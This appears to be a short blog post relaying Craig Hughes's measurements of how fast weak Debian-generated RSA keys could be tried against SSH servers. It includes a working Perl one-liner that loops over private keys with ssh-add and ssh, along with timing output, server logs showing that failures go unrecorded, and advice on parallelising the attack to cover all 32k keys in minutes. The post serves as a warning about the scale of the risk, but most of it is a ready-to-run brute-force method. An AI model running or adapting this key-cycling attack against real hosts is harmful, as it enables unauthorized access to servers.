Here’s some pretty scary figures from Craig Hughes on the viability of an SSH worm:
when doing this, connecting to localhost:
find rsa -type f ! -name '*.pub' | head -1000 | time perl -e 'my $counter=0; my $keys=""; while(<>) { chomp; $keys = "$keys $_"; next unless (++$counter)%7 == 0; system("ssh-add$keys 2>/dev/null"); system ('"'"'ssh -q -n -T -C -x -a testuser@localhost'"'"'); system("ssh-add -D"); $keys = ""; }'
4.63user 3.06system 0:19.54elapsed
ie about 50 per second
when connecting remotely over the internet (ping RTT is ~60ms):
find rsa -type f ! -name '*.pub' | head -1000 | time perl -e 'my $counter=0; my $keys=""; while(<>) { chomp; $keys = "$keys $_"; next unless (++$counter)%7 == 0; system("ssh-add$keys 2>/dev/null"); system ('"'"'ssh -q -n -T -C -x -a [email protected]'"'"'); system("ssh-add -D"); $keys = ""; }'
1.10user 0.60system 0:35.15elapsed
ie about 6 per second over the internet.
Logging of the failures on the server side looks like this:
May 15 10:53:31 [sshd] SSH: Server;Ltype: Version;Remote: 74.93.1.97-50445;Protocol: 2.0;Client: OpenSSH_4.7p1-hpn13v1 May 15 10:53:32 [sshd] SSH: Server;Ltype: Version;Remote: 74.93.1.97-50446;Protocol: 2.0;Client: OpenSSH_4.7p1-hpn13v1 May 15 10:53:33 [sshd] SSH: Server;Ltype: Version;Remote: 74.93.1.97-50447;Protocol: 2.0;Client: OpenSSH_4.7p1-hpn13v1 May 15 10:53:34 [sshd] SSH: Server;Ltype: Version;Remote: 74.93.1.97-50448;Protocol: 2.0;Client: OpenSSH_4.7p1-hpn13v1 May 15 10:53:35 [sshd] SSH: Server;Ltype: Version;Remote: 74.93.1.97-50451;Protocol: 2.0;Client: OpenSSH_4.7p1-hpn13v1 May 15 10:53:36 [sshd] SSH: Server;Ltype: Version;Remote: 74.93.1.97-50452;Protocol: 2.0;Client: OpenSSH_4.7p1-hpn13v1 May 15 10:53:37 [sshd] SSH: Server;Ltype: Version;Remote: 74.93.1.97-50453;Protocol: 2.0;Client: OpenSSH_4.7p1-hpn13v1 May 15 10:53:39 [sshd] SSH: Server;Ltype: Version;Remote: 74.93.1.97-50455;Protocol: 2.0;Client: OpenSSH_4.7p1-hpn13v1 May 15 10:53:40 [sshd] SSH: Server;Ltype: Version;Remote: 74.93.1.97-50456;Protocol: 2.0;Client: OpenSSH_4.7p1-hpn13v1 May 15 10:53:41 [sshd] SSH: Server;Ltype: Version;Remote: 74.93.1.97-50457;Protocol: 2.0;Client: OpenSSH_4.7p1-hpn13v1 May 15 10:53:42 [sshd] SSH: Server;Ltype: Version;Remote: 74.93.1.97-50458;Protocol: 2.0;Client: OpenSSH_4.7p1-hpn13v1 May 15 10:53:43 [sshd] SSH: Server;Ltype: Version;Remote: 74.93.1.97-50459;Protocol: 2.0;Client: OpenSSH_4.7p1-hpn13v1
ie it shows the connection attempt, but NOT the failure. It shows one connection attempt per 7 keys attempted.
So given that:
- RSA is the default if you don’t specify for ssh-keygen
- 99.99% of people use x86
- PID is sequential, and there’s almost certainly an uneven distribution in PIDs used by the keys out there in the wild
then:
Probably there’s about 10k RSA keys which are in some very large fraction of the (debian-generated) authorized_keys files out there. These can be attempted in about 1/2 an hour, remotely over the internet. You can hit the full 32k range of RSA keys in an hour and a half. Note that the time(1) output shows how little load this puts on the client machine — you could easily run against lots of target hosts in parallel; most of the time is spent waiting for TCP roundtrip latencies. Actually, given that, you could probably accelerate the attack substantially by parallelizing the attempts to an individual host so you have lots of packets in flight at any given time. You could probably easily get up towards the 50/s local number doing this, which brings time down to about 3-4 minutes for 10k keys, or 11 minutes for the full 32k keys.